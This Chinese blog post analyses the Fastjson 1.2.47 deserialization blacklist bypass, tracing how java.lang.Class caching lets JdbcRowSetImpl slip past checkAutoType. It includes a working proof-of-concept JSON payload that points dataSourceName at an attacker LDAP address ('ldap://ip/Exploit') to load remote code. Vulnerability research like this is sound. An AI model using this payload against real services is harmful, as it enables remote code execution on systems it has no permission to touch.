Fastjson反序列化漏洞分析 第二弹

Posted by 跳跳龙 on June 18, 2020

前言

最近fastjson有火了,1.2.68再次出现安全问题。而且我大致浏览了一下,这次升级,不是简简单单的加了黑名单这么简单,而是我觉得会跟1.2.24,1.2.47一样,会成为fastjson的里程碑。截止到我正在写下这篇文章的时候,fastjson已经更新到了1.72。更新的好快啊。据我所知,应该1.2.69目前就是安全的版本了。大家可以在github上compare一下69和68,看看做了哪些更新防护。

上一次写fastjson博文的时候居然是去年的事情了,时间真的好快。上一篇文章我主要是写的是TemplatesImpl利用链在Fastjson中的价值。fastjson没有CVE编号,所以很多漏洞没有一个标准的描述影响到哪些版本。我自己呢也并没有专门的去搜集这些事情。但是在我的印象里,只需要知道有几个重要版本出现的问题以及绕过的方式就可以了。

1.2.24这个版本以及之前是没有任何安全防护的,而且也是默认开启autotype开关的。

从24之后,autotype开关就默认关闭了,在1.2.47这个版本的时候,存在了关闭状态也可以进行绕过的情况,原因是使用了java.lang.Class进行了缓存绕过。

最新的应该就是68了,在47的基础上,再次进行了绕过。

47版本

先花费时间把47的情况记录一下。POC如下:

String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://ip/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);

这个POC做了2层的嵌套。第一层是使用java.lang.Class。这个类不在黑名单里,可以先把JdbcRowSetImpl压入mappings容器中,这样在第二轮扫描到@type字段的时候,还会再次调用到checkAutoType函数,由于JdbcRowSetImpl在mappings容器中,所以不会进入到检测黑名单的if分支中就提前return了,实现了巧妙的绕过。(但是在47之前的一些版本中,由于if语句有变动,会导致一部分开启auto反而无法成功的情况,同时也有autotype开启与否都可以成功的情况,大家知道这个trick就可以了,本质上是由于if语句写法有更新导致的)。

在fastjson词法分析的函数中,首先扫描到第一个@type。将java.lang.Class传入checkAutoType函数。我这里没开autotype,所以会直接获取class,并成功返回

返回clazz之后,会进入到MiscCodec的deserialze反序列化函数中

在deserialze函数中,会把自己的val属性 也就是JDBCRowSetImpl loadclass。

在loadClass函数中,会对类压入mappings。这个mappings里的类就不会通过黑名单的校验了。 由于这个cache默认为true。所以会压入mappings

这一轮的扫描结束之后,等到下一次词法扫描再次扫描到@type的时候,同理,会把JdbcRowSetImpl带入checkAutoType中。 由于默认没开AutoType 所以不会进入到第一个if判断中 直接会从mapping中获取,提前return。不会进入到最后面没开autotype的黑名单检测了。

大致就是这样巧妙地将黑名单的类返回了。

总结

68版本最近几位师傅发了自己的研究成果出来,我这个菜逼看了一下,感觉师傅就是师傅们,各个思路猥琐的不行,但基本上的思路还是利用了异常类来进行绕过,绕过的姿势短时间我要吸收一下。在47这个绕过的基础上去debug一下,继续记录博客中来。